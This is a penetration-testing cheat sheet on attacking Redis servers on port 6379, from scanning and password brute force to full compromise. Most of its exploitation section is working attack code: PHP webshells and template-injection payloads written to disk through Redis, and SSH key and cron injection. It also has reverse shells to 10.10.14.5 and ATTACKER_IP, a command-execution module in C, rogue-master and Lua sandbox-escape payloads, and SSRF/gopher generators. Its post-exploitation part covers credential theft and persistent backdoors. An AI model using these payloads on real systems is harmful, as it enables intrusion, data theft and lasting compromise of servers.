# Redis - Port 6379

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is Redis?

Redis is an **in-memory data structure store** that supports various data types including:

* **Strings** - Simple key-value pairs
* **Lists** - Ordered collections of strings
* **Sets** - Unordered collections of unique strings
* **Sorted Sets** - Sets with scores for ordering
* **Hashes** - Maps between string fields and string values
* **Bitmaps** - Bit-level operations on strings
* **HyperLogLogs** - Probabilistic data structures
* **Streams** - Append-only log data structures

#### Redis Architecture

```
┌─────────────┐         TCP/6379         ┌─────────────┐
│   Client    │ ────────────────────────>│    Redis    │
│ Application │  Plain-text Protocol     │   Server    │
└─────────────┘ <────────────────────────└─────────────┘
                   (or TLS encrypted)            │
                                                 │
                                                 V
                                          ┌─────────────┐
                                          │  In-Memory  │
                                          │   Storage   │
                                          └─────────────┘
                                                 │
                                                 V
                                          ┌─────────────┐
                                          │ Persistence │
                                          │ (Optional)  │
                                          │ RDB/AOF     │
                                          └─────────────┘
```

#### Redis Communication Protocol

Redis uses a **text-based protocol** called **RESP** (Redis Serialization Protocol). This means you can communicate with Redis using simple text commands over a TCP connection, making it easy to test with tools like `netcat` or `telnet`.

#### Default Port

**Default Port:** 6379

```
PORT     STATE SERVICE  VERSION
6379/tcp open  redis    Redis key-value store 4.0.9
```

**Note:** Redis can be configured to use TLS/SSL encryption, though this is uncommon in practice.

#### Authentication Models

Redis supports several authentication configurations:

1. **No Authentication** (default, extremely dangerous)
2. **Password Only** - Single password, username is "default"
3. **Username + Password** - ACL-based authentication (Redis 6.0+)
4. **TLS Client Certificates** - Certificate-based authentication

#### Databases in Redis

Unlike traditional databases, Redis uses **numbered databases** (0-15 by default):

* Database numbers start from **0**
* Default database is **0**
* Switch between databases using `SELECT <number>`
* Each database is logically separated

## Reconnaissance & Enumeration

### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 6379 -sV <target-ip>

# Detailed scan with scripts
nmap -p 6379 -sV -sC --script redis-info <target-ip>

# Scan entire subnet
nmap -p 6379 -sV <target-subnet>/24 -oA redis-scan

# Aggressive scan
nmap -p 6379 -A <target-ip>

# Check for TLS/SSL
nmap -p 6379 --script ssl-enum-ciphers <target-ip>
```

**Sample Output:**

```
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7
```

### Automated Enumeration

**Using Nmap Scripts**

```bash
# Redis info script
nmap --script redis-info -sV -p 6379 <target-ip>

# Redis brute force
nmap --script redis-brute -p 6379 <target-ip>

# Check for known vulnerabilities
nmap --script vuln -p 6379 <target-ip>
```

**Using Metasploit**

```bash
msf6 > use auxiliary/scanner/redis/redis_server
msf6 auxiliary(scanner/redis/redis_server) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/redis/redis_server) > set THREADS 10
msf6 auxiliary(scanner/redis/redis_server) > run

# Example output:
# [+] 10.10.10.160:6379 - Redis 5.0.7
# [+] 10.10.10.160:6379 - No authentication required
```

### Manual Enumeration

**Using netcat**

```bash
# Connect with netcat
nc -nv <target-ip> 6379

# Try the INFO command
INFO

# If authentication is required, you'll see:
# -NOAUTH Authentication required.

# If no auth is required, you'll get detailed server info
```

**Using redis-cli**

```bash
# Install redis-tools
sudo apt-get install redis-tools

# Connect to Redis
redis-cli -h <target-ip>

# Connect with authentication
redis-cli -h <target-ip> -a <password>

# Connect with username and password (Redis 6+)
redis-cli -h <target-ip> --user <username> --pass <password>

# Connect to specific database
redis-cli -h <target-ip> -n 1

# Connect via TLS
redis-cli -h <target-ip> --tls --cert client-cert.pem --key client-key.pem --cacert ca.pem

# One-liner command execution
redis-cli -h <target-ip> INFO

# Execute command without entering interactive mode
redis-cli -h <target-ip> --raw GET mykey
```

#### Banner Grabbing

```bash
# Using netcat
echo "INFO" | nc -nv <target-ip> 6379

# Using telnet
telnet <target-ip> 6379
INFO

# Using curl (less reliable)
curl -v telnet://<target-ip>:6379

# Using ncat with SSL
ncat --ssl <target-ip> 6379
INFO
```

#### Shodan Queries

Find exposed Redis servers:

```
port:6379 redis
"redis_version"
product:Redis
port:6379 country:US
```

## Authentication Testing

#### Check Authentication Requirements

```bash
# Connect and try INFO
redis-cli -h <target-ip>

# Execute INFO command
INFO

# Response if no auth required:
# [Server information displayed]

# Response if auth required:
# -NOAUTH Authentication required.
```

#### Password Brute Force

**Using Nmap**

```bash
# Basic brute force
nmap --script redis-brute --script-args userdb=users.txt,passdb=passwords.txt -p 6379 <target-ip>

# Using default wordlists
nmap --script redis-brute -p 6379 <target-ip>
```

**Using Metasploit**

```bash
msf6 > use auxiliary/scanner/redis/redis_login
msf6 auxiliary(scanner/redis/redis_login) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/redis/redis_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/redis/redis_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/redis/redis_login) > run
```

**Using Hydra**

```bash
# Password only brute force (default username)
hydra -P /usr/share/wordlists/rockyou.txt redis://<target-ip>

# With custom password list
hydra -P passwords.txt redis://<target-ip>

# Verbose mode
hydra -V -P passwords.txt redis://<target-ip>

# Multiple threads
hydra -t 4 -P passwords.txt redis://<target-ip>

# Resume interrupted session
hydra -R

# Username + password (Redis 6+)
hydra -L users.txt -P passwords.txt redis://<target-ip>
```

**Using Custom Script**

```python
#!/usr/bin/env python3
import redis
import sys

def brute_force_redis(host, port, password_file):
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()
            try:
                r = redis.Redis(host=host, port=port, password=password, 
                               socket_connect_timeout=2, decode_responses=True)
                r.ping()
                print(f"[+] SUCCESS! Password found: {password}")
                return password
            except redis.exceptions.AuthenticationError:
                print(f"[-] Failed: {password}")
            except redis.exceptions.ConnectionError:
                print(f"[!] Connection error with password: {password}")
            except Exception as e:
                print(f"[!] Error: {e}")
    
    print("[-] Password not found in wordlist")
    return None

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <host> <port> <password_file>")
        sys.exit(1)
    
    brute_force_redis(sys.argv[1], int(sys.argv[2]), sys.argv[3])
```

### Authentication

**Authenticate with Password**

```bash
# Method 1: During connection
redis-cli -h <target-ip> -a <password>

# Method 2: After connection
redis-cli -h <target-ip>
127.0.0.1:6379> AUTH <password>
+OK

# Method 3: With username and password (Redis 6+)
redis-cli -h <target-ip>
127.0.0.1:6379> AUTH <username> <password>
+OK
```

**Check Authentication Status**

```bash
# After authentication
127.0.0.1:6379> PING
PONG

# Check current user (Redis 6+)
127.0.0.1:6379> ACL WHOAMI
"default"

# List all users (requires admin)
127.0.0.1:6379> ACL LIST
```

### Enumeration (Authenticated)

#### Get Server Information

**INFO Command**

```bash
# Get all information
127.0.0.1:6379> INFO

# Get specific sections
127.0.0.1:6379> INFO server
127.0.0.1:6379> INFO clients
127.0.0.1:6379> INFO memory
127.0.0.1:6379> INFO persistence
127.0.0.1:6379> INFO stats
127.0.0.1:6379> INFO replication
127.0.0.1:6379> INFO cpu
127.0.0.1:6379> INFO keyspace
127.0.0.1:6379> INFO cluster
127.0.0.1:6379> INFO commandstats
```

**Key Information to Look For:**

```
# Redis version
redis_version:5.0.7

# Operating system
os:Linux 4.15.0-88-generic x86_64

# Process ID
process_id:1234

# Config file location
config_file:/etc/redis/redis.conf

# Working directory
dir:/var/lib/redis

# Used memory
used_memory_human:2.5M

# Number of connected clients
connected_clients:1

# Keyspace (databases in use)
db0:keys=100,expires=0,avg_ttl=0
db1:keys=50,expires=10,avg_ttl=3600000

# Replication role
role:master
```

#### Configuration Enumeration

```bash
# Get all configuration
127.0.0.1:6379> CONFIG GET *

# Get specific configuration
127.0.0.1:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"

127.0.0.1:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"

# Important configs to check
127.0.0.1:6379> CONFIG GET requirepass
127.0.0.1:6379> CONFIG GET bind
127.0.0.1:6379> CONFIG GET protected-mode
127.0.0.1:6379> CONFIG GET save
```

#### Client Enumeration

```bash
# List connected clients
127.0.0.1:6379> CLIENT LIST

# Get current client information
127.0.0.1:6379> CLIENT INFO

# Get client name
127.0.0.1:6379> CLIENT GETNAME

# Set client name
127.0.0.1:6379> CLIENT SETNAME pentester

# Kill specific client
127.0.0.1:6379> CLIENT KILL <ip:port>
```

#### Monitor Commands

**Real-time Command Monitoring**

```bash
# Monitor all commands in real-time
127.0.0.1:6379> MONITOR

# Example output:
# 1617123456.789012 [0 127.0.0.1:54321] "GET" "user:1000"
# 1617123456.890123 [0 127.0.0.1:54322] "SET" "session:abc" "data"

# Warning: MONITOR impacts performance
```

**Slow Query Log**

```bash
# Get slowest queries
127.0.0.1:6379> SLOWLOG GET 25

# Get slow log length
127.0.0.1:6379> SLOWLOG LEN

# Reset slow log
127.0.0.1:6379> SLOWLOG RESET
```

#### Database Enumeration

**List Databases**

```bash
# Check keyspace info
127.0.0.1:6379> INFO keyspace
# Keyspace
# db0:keys=4,expires=0,avg_ttl=0
# db1:keys=1,expires=0,avg_ttl=0

# Switch to database 0
127.0.0.1:6379> SELECT 0
OK

# Switch to database 1
127.0.0.1:6379> SELECT 1
OK
```

**Enumerate Keys**

```bash
# List all keys (dangerous on large databases!)
127.0.0.1:6379> KEYS *

# Safer alternative: scan with cursor
127.0.0.1:6379> SCAN 0

# Pattern matching
127.0.0.1:6379> KEYS user:*
127.0.0.1:6379> KEYS session:*
127.0.0.1:6379> KEYS *password*

# Count keys
127.0.0.1:6379> DBSIZE

# Get random key
127.0.0.1:6379> RANDOMKEY

# Check if key exists
127.0.0.1:6379> EXISTS mykey
```

**Get Key Information**

```bash
# Get key type
127.0.0.1:6379> TYPE mykey
string

# Get key TTL (time to live)
127.0.0.1:6379> TTL mykey
(integer) -1  # -1 means no expiration

# Get key in milliseconds
127.0.0.1:6379> PTTL mykey

# Get object encoding
127.0.0.1:6379> OBJECT ENCODING mykey
```

**Extract Key Values**

```bash
# For strings
127.0.0.1:6379> GET mykey

# For lists
127.0.0.1:6379> LRANGE mylist 0 -1

# For sets
127.0.0.1:6379> SMEMBERS myset

# For sorted sets
127.0.0.1:6379> ZRANGE myzset 0 -1 WITHSCORES

# For hashes
127.0.0.1:6379> HGETALL myhash
127.0.0.1:6379> HGET myhash field1

# Generic dump (for any type)
127.0.0.1:6379> DUMP mykey
```

#### Dumping the Database

**Manual Dump**

```bash
# Select database
127.0.0.1:6379> SELECT 0

# Get all keys
127.0.0.1:6379> KEYS *

# For each key, determine type and extract
127.0.0.1:6379> TYPE key1
127.0.0.1:6379> GET key1  # if string

# Script to dump all
for key in $(redis-cli -h <target-ip> KEYS '*'); do
    type=$(redis-cli -h <target-ip> TYPE $key)
    echo "Key: $key | Type: $type"
    
    case $type in
        string)
            redis-cli -h <target-ip> GET $key
            ;;
        list)
            redis-cli -h <target-ip> LRANGE $key 0 -1
            ;;
        set)
            redis-cli -h <target-ip> SMEMBERS $key
            ;;
        hash)
            redis-cli -h <target-ip> HGETALL $key
            ;;
        zset)
            redis-cli -h <target-ip> ZRANGE $key 0 -1 WITHSCORES
            ;;
    esac
done
```

**Using redis-dump (Node.js)**

```bash
# Install
npm install -g redis-dump

# Dump database
redis-dump -h <target-ip> -p 6379 > dump.json

# Dump with authentication
redis-dump -h <target-ip> -p 6379 -a <password> > dump.json

# Restore from dump
cat dump.json | redis-cli -h <target-ip> --pipe
```

**Using redis-utils (Python)**

```bash
# Install
pip install redis-utils

# Dump database
redis-utils -h <target-ip> -p 6379 dump > dump.rdb

# Dump all databases
redis-utils -h <target-ip> -p 6379 --all dump
```

**Using RDB Tools**

```bash
# Install
pip install rdbtools python-lzf

# Parse RDB file
rdb --command json dump.rdb > dump.json

# Memory analysis
rdb --command memory dump.rdb > memory.csv

# Diff two RDB files
rdb --command diff dump1.rdb dump2.rdb
```

## Exploitation Techniques

#### 1. Webshell Upload (PHP)

**Requirements:**

* Write access to web directory
* Knowledge of web root path
* PHP execution enabled

**Exploitation Steps:**

```bash
# Connect to Redis
redis-cli -h <target-ip>

# Set web directory
127.0.0.1:6379> CONFIG SET dir /var/www/html
OK

# Set database filename
127.0.0.1:6379> CONFIG SET dbfilename shell.php
OK

# Create PHP webshell
127.0.0.1:6379> SET test "<?php system($_GET['cmd']); ?>"
OK

# Save to disk
127.0.0.1:6379> SAVE
OK

# Access webshell
# http://<target-ip>/shell.php?cmd=whoami
```

**Advanced Webshell:**

```bash
# More sophisticated shell
127.0.0.1:6379> SET webshell "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die; } ?>"
OK

127.0.0.1:6379> CONFIG SET dir /var/www/html
OK

127.0.0.1:6379> CONFIG SET dbfilename evil.php
OK

127.0.0.1:6379> SAVE
OK
```

**Common Web Root Paths:**

```bash
# Linux - Apache
/var/www/html
/var/www/html/public
/usr/share/nginx/html

# Linux - Nginx
/usr/share/nginx/html
/var/www/html

# Windows - IIS
C:\inetpub\wwwroot

# Windows - XAMPP
C:\xampp\htdocs

# macOS - Apache
/Library/WebServer/Documents
```

**Cleanup:**

```bash
# After getting shell, cleanup the database
# Backup first if needed
127.0.0.1:6379> FLUSHDB  # Clear current database
127.0.0.1:6379> CONFIG SET dbfilename dump.rdb  # Restore original name
127.0.0.1:6379> CONFIG SET dir /var/lib/redis  # Restore original path
```

#### 2. Template Engine Injection

**Requirements:**

* Write access to template directory
* Template engine that executes code (e.g., Nunjucks, Jinja2, Twig)

**Example: Nunjucks Reverse Shell**

```bash
redis-cli -h <target-ip>

# Set template directory
127.0.0.1:6379> CONFIG SET dir /var/www/app/views
OK

# Set template filename
127.0.0.1:6379> CONFIG SET dbfilename template.html
OK

# Nunjucks template injection payload
127.0.0.1:6379> SET exploit '{{ ({}).constructor.constructor("var net = global.process.mainModule.require(\"net\"), cp = global.process.mainModule.require(\"child_process\"), sh = cp.spawn(\"sh\", []); var client = new net.Socket(); client.connect(4444, \"10.10.14.5\", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });")()}}'
OK

127.0.0.1:6379> SAVE
OK
```

**Other Template Engines:**

**Jinja2 (Python)**

```python
# Payload
{{ config.__class__.__init__.__globals__['os'].popen('nc -e /bin/bash 10.10.14.5 4444').read() }}
```

**Twig (PHP)**

```php
# Payload
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
```

**Note:** Many template engines cache templates, so you may need to:

1. Trigger a cache clear
2. Restart the application
3. DoS the application to force a restart

#### 3. SSH Key Injection

**Requirements:**

* Redis running as user with home directory
* Write access to user's .ssh directory
* SSH service enabled

**Exploitation Steps:**

```bash
# 1. Generate SSH key pair
ssh-keygen -t rsa -f redis_key

# 2. Format public key with newlines
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt

# 3. Import key into Redis
cat spaced_key.txt | redis-cli -h <target-ip> -x set ssh_key

# 4. Configure Redis to write to .ssh directory
redis-cli -h <target-ip>
127.0.0.1:6379> CONFIG GET dir
# Check output to find Redis user's home

127.0.0.1:6379> CONFIG SET dir /var/lib/redis/.ssh
OK

127.0.0.1:6379> CONFIG SET dbfilename authorized_keys
OK

127.0.0.1:6379> SAVE
OK

# 5. SSH into the server
ssh -i redis_key redis@<target-ip>
```

**Alternative Method (for other users):**

```bash
# Try different user home directories
redis-cli -h <target-ip>

# Test if directory is writable
127.0.0.1:6379> CONFIG SET dir /home/admin/.ssh
OK  # Success means directory exists and is writable

# Common user home directories
/home/ubuntu/.ssh
/home/admin/.ssh
/home/user/.ssh
/root/.ssh (if Redis runs as root)
```

**Automated Tool:**

```bash
# Using redis-rce-ssh
git clone https://github.com/captain-woof/redis-rce-ssh
cd redis-rce-ssh

# Brute force usernames
./redis-rce-ssh.sh -t <target-ip> -u usernames.txt

# For specific user
./redis-rce-ssh.sh -t <target-ip> -u admin -k mykey.pub
```

**Another Automated Tool:**

```bash
# Using Avinash-acid's exploit
git clone https://github.com/Avinash-acid/Redis-Server-Exploit
cd Redis-Server-Exploit

# Run exploit
python redis-exploit.py -r <target-ip> -p 6379 -l <local-ip> -a <password>
```

#### 4. Crontab Injection

**Requirements:**

* Write access to cron directories
* Cron service enabled
* Redis running as root or user with crontab

**Exploitation Steps:**

```bash
# 1. Create reverse shell payload
echo -e "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\n\n" | redis-cli -h <target-ip> -x set cronpayload

# 2. Configure Redis to write to cron directory
redis-cli -h <target-ip>

# For Ubuntu/Debian
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/crontabs/
OK

127.0.0.1:6379> CONFIG SET dbfilename root
OK

# For CentOS/RHEL
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/
OK

127.0.0.1:6379> CONFIG SET dbfilename root
OK

# 3. Save
127.0.0.1:6379> SAVE
OK

# 4. Start listener and wait (up to 1 minute)
nc -lvnp 4444
```

**Advanced Cron Payload:**

```bash
# Persistent backdoor that survives reboots
*/5 * * * * /bin/bash -c 'if ! pgrep -f backdoor.sh; then /tmp/backdoor.sh; fi'
@reboot /tmp/backdoor.sh
```

**Python Reverse Shell (more reliable):**

```bash
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.5\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | redis-cli -h <target-ip> -x set cronpayload
```

#### 5. Redis Module Loading (RCE)

**Requirements:**

* MODULE LOAD command not disabled
* Ability to upload .so file
* Redis 4.0+

**Method 1: Using RedisModules-ExecuteCommand**

```bash
# 1. Clone and compile module
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

# 2. Upload module (various methods)
# Via HTTP server
python3 -m http.server 8000

# On Redis server (if you have file write access)
redis-cli -h <target-ip>
127.0.0.1:6379> CONFIG SET dir /tmp
127.0.0.1:6379> CONFIG SET dbfilename module.so
# Then upload via other means (webshell, etc.)

# 3. Load module
127.0.0.1:6379> MODULE LOAD /tmp/module.so
OK

# 4. Check loaded modules
127.0.0.1:6379> MODULE LIST
1) 1) "name"
   2) "system"

# 5. Execute commands
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"

127.0.0.1:6379> system.exec "whoami"
"root\n"

# 6. Get reverse shell
127.0.0.1:6379> system.rev <attacker-ip> 4444

# 7. Unload module (cleanup)
127.0.0.1:6379> MODULE UNLOAD system
OK
```

**Method 2: Using redis-rogue-server**

```bash
# Install
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server

# Get interactive shell (Redis <=5.0.5)
python3 redis-rogue-server.py --rhost <target-ip> --lhost <attacker-ip>

# Get reverse shell
python3 redis-rogue-server.py --rhost <target-ip> --lhost <attacker-ip> --rport <port>

# Execute single command
python3 redis-rogue-server.py --rhost <target-ip> --lhost <attacker-ip> --command "whoami"
```

**Creating Custom Modules:**

```c
// simple_exec.c
#include "redismodule.h"
#include <stdlib.h>

int ExecCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (argc != 2) return RedisModule_WrongArity(ctx);
    
    const char *cmd = RedisModule_StringPtrLen(argv[1], NULL);
    FILE *fp = popen(cmd, "r");
    
    if (fp == NULL) {
        RedisModule_ReplyWithError(ctx, "Failed to execute command");
        return REDISMODULE_OK;
    }
    
    char buffer[4096];
    size_t len = fread(buffer, 1, sizeof(buffer)-1, fp);
    buffer[len] = '\0';
    pclose(fp);
    
    RedisModule_ReplyWithStringBuffer(ctx, buffer, len);
    return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    
    if (RedisModule_CreateCommand(ctx, "system.exec", ExecCommand, "readonly", 0, 0, 0) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    
    return REDISMODULE_OK;
}
```

**Compile:**

```bash
gcc -fPIC -shared -o module.so simple_exec.c -I/path/to/redis/src
```

#### 6. Master-Slave Replication Abuse

**Concept:** Configure victim Redis as a slave of attacker-controlled master

**Setup Attack:**

```bash
# 1. On your machine, start Redis
redis-server --port 6379

# 2. On victim Redis
redis-cli -h <target-ip>

# 3. Configure as slave
127.0.0.1:6379> SLAVEOF <attacker-ip> 6379
OK

# 4. Verify replication
127.0.0.1:6379> INFO replication
# role:slave
# master_host:<attacker-ip>
# master_port:6379

# 5. On your Redis master, set keys
redis-cli -h <attacker-ip>
127.0.0.1:6379> SET key1 "value1"
127.0.0.1:6379> SET backdoor "data"

# 6. Verify on victim
redis-cli -h <target-ip>
127.0.0.1:6379> GET key1
"value1"

# 7. Use master to load module or write files
# Then replicate malicious data to victim

# 8. Cleanup: Remove replication
127.0.0.1:6379> SLAVEOF NO ONE
OK
```

**Advanced Attack: Module Loading via Replication**

```bash
# 1. Load malicious module on master
redis-cli -h <attacker-ip>
127.0.0.1:6379> MODULE LOAD /tmp/evil.so

# 2. Configure victim as slave
redis-cli -h <target-ip>
127.0.0.1:6379> SLAVEOF <attacker-ip> 6379

# 3. Module is now loaded on victim too
# 4. Execute commands via module
```

#### 7. Lua Sandbox Escape

**Background:** Redis uses Lua for scripting (EVAL command)

**CVE-2022-0543: Lua Sandbox Escape**

```bash
# Vulnerable versions: Redis 5.x, 6.x, 7.0.x < 7.0.15

# Exploit
redis-cli -h <target-ip>

127.0.0.1:6379> EVAL 'local os = require("os"); return os.execute("id")' 0

# Alternative payload
127.0.0.1:6379> EVAL 'local io = require("io"); local f = io.popen("whoami"); local output = f:read("*a"); f:close(); return output' 0

# Reverse shell
127.0.0.1:6379> EVAL 'local os = require("os"); os.execute("bash -c \"bash -i >& /dev/tcp/10.10.14.5/4444 0>&1\"")' 0
```

**Automated Exploit:**

```bash
# Clone exploit
git clone https://github.com/aodsec/CVE-2022-0543
cd CVE-2022-0543

# Run exploit
python3 exploit.py -r <target-ip> -p 6379 -c "whoami"

# Get reverse shell
python3 exploit.py -r <target-ip> -p 6379 -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
```

#### 8. Recent Lua CVEs (2025)

**CVE-2025-49844: GC-Triggered UAF in Lua Parser**

```bash
# Impact: Denial of Service, potential RCE
# Affected: Redis < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20

# PoC - Trigger crash via garbage collection
redis-cli -h <target-ip> EVAL "
local a = string.rep('asdf', 65536);
collectgarbage('collect');
local src = string.rep('x', 1024 * 1024);
local f = loadstring(src);
return 'done'
" 0

# This may require multiple attempts to align GC timing
```

**CVE-2025-46817: Integer Overflow in unpack**

```bash
# Impact: Memory exhaustion, DoS
# Affected: Same versions as above

# PoC - Trigger integer overflow
redis-cli -h <target-ip> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0

# Expected: Server crashes or OOM
```

**CVE-2025-46818: Metatable Poisoning**

```bash
# Impact: Cross-user code execution within Lua sandbox
# Affected: Same versions as above

# PoC - Poison string metatable
redis-cli -h <target-ip> EVAL "
getmetatable('').__index = function(_, key)
  if key == 'evil' then
    return function() return 'pwned' end
  end
end;
return ('test').evil()
" 0

# Output: "pwned"

# This allows one user to inject code that affects other users' Lua scripts
```

#### 9. SSRF to Redis

**Scenario:** You found an SSRF vulnerability that can reach internal Redis

**Basic SSRF Attack:**

```bash
# URL encode Redis commands
# Example: INFO command
http://vulnerable-app.com/fetch?url=http://127.0.0.1:6379/%0D%0AINFO%0D%0A

# Set key
http://vulnerable-app.com/fetch?url=http://127.0.0.1:6379/%0D%0ASET%20test%20value%0D%0A

# Get key
http://vulnerable-app.com/fetch?url=http://127.0.0.1:6379/%0D%0AGET%20test%0D%0A
```

**Gitlab SSRF + CRLF to RCE (CVE-2018-19571)**

```bash
# Vulnerable: Gitlab 11.4.7
# SSRF via "Import project from URL"
# CRLF injection via URL

# Payload (URL encoded):
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Cwhoami%20%7C%20nc%20ATTACKER_IP%204444%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A/ssrf.git

# Decoded Redis commands:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open('|whoami | nc ATTACKER_IP 4444').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```

**Gopher Protocol Abuse:**

```bash
# Gopher allows sending raw TCP data
# Useful when HTTP protocol restrictions exist

# Example: Write SSH key via SSRF with Gopher
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/home/redis/.ssh%0ACONFIG%20SET%20dbfilename%20authorized_keys%0ASET%20ssh_key%20%22\n\nssh-rsa%20AAAA...\n\n%22%0ASAVE

# Steps:
# 1. URL encode the commands
# 2. Replace spaces with %20
# 3. Use CRLF (%0A) to separate commands
# 4. Prefix with gopher://host:port/_
```

**SSRF Automation Tool:**

```python
#!/usr/bin/env python3
import urllib.parse

def generate_redis_ssrf(commands):
    """Generate SSRF payload for Redis"""
    # Join commands with CRLF
    payload = "\r\n".join(commands) + "\r\n"
    
    # URL encode
    encoded = urllib.parse.quote(payload)
    
    # Generate various protocol URLs
    urls = {
        'http': f'http://127.0.0.1:6379/{encoded}',
        'gopher': f'gopher://127.0.0.1:6379/_{encoded}',
        'dict': f'dict://127.0.0.1:6379/{commands[0]}'
    }
    
    return urls

# Example usage
commands = [
    "CONFIG SET dir /var/www/html",
    "CONFIG SET dbfilename shell.php",
    "SET test '<?php system($_GET[cmd]); ?>'",
    "SAVE"
]

payloads = generate_redis_ssrf(commands)
for protocol, url in payloads.items():
    print(f"{protocol.upper()}: {url}\n")
```

## Post-Exploitation

### Data Exfiltration

**Extract Sensitive Data**

```bash
# Search for common sensitive keys
redis-cli -h <target-ip>

127.0.0.1:6379> KEYS *password*
127.0.0.1:6379> KEYS *user*
127.0.0.1:6379> KEYS *session*
127.0.0.1:6379> KEYS *token*
127.0.0.1:6379> KEYS *secret*
127.0.0.1:6379> KEYS *api*
127.0.0.1:6379> KEYS *key*

# Extract all data
for db in {0..15}; do
    echo "=== Database $db ==="
    redis-cli -h <target-ip> -n $db KEYS '*'
done > all_keys.txt
```

**Extract Session Data**

```bash
# Common session key patterns
127.0.0.1:6379> KEYS sess:*
127.0.0.1:6379> KEYS session:*
127.0.0.1:6379> KEYS PHPREDIS_SESSION:*

# Get session contents
127.0.0.1:6379> GET "session:abc123"
```

**Extract User Credentials**

```bash
# Look for user hashes
127.0.0.1:6379> KEYS user:*

# Get user data
127.0.0.1:6379> HGETALL user:1000
1) "username"
2) "admin"
3) "password"
4) "$2y$10$hashedpassword..."
5) "email"
6) "admin@example.com"
```

### Persistence

**Backdoor User Creation**

```bash
# If you have SSH access, create backdoor
redis-cli -h <target-ip>

# Write additional SSH key
127.0.0.1:6379> CONFIG GET dir
127.0.0.1:6379> CONFIG SET dir /home/redis/.ssh
127.0.0.1:6379> CONFIG SET dbfilename authorized_keys2
127.0.0.1:6379> SET backdoor "\n\nssh-rsa AAAA...\n\n"
127.0.0.1:6379> SAVE
```

**Cron Persistence**

```bash
# Persistent reverse shell every hour
*/60 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Beacon that checks for C2
*/10 * * * * curl http://ATTACKER_IP/beacon | bash
```

**Redis Config Backdoor**

```bash
# If you can modify redis.conf
# Add to config file:
rename-command FLUSHALL ""  # Disable dangerous commands
rename-command FLUSHDB ""
rename-command CONFIG "b840fc02d524045429941cc15f59e41cb7be6c52"  # Rename to secret

# Now only you know the real command name
```

**Module Persistence**

```bash
# Load persistent backdoor module
127.0.0.1:6379> MODULE LOAD /tmp/backdoor.so
127.0.0.1:6379> CONFIG SET dir /etc/redis
127.0.0.1:6379> CONFIG REWRITE  # Save module to config

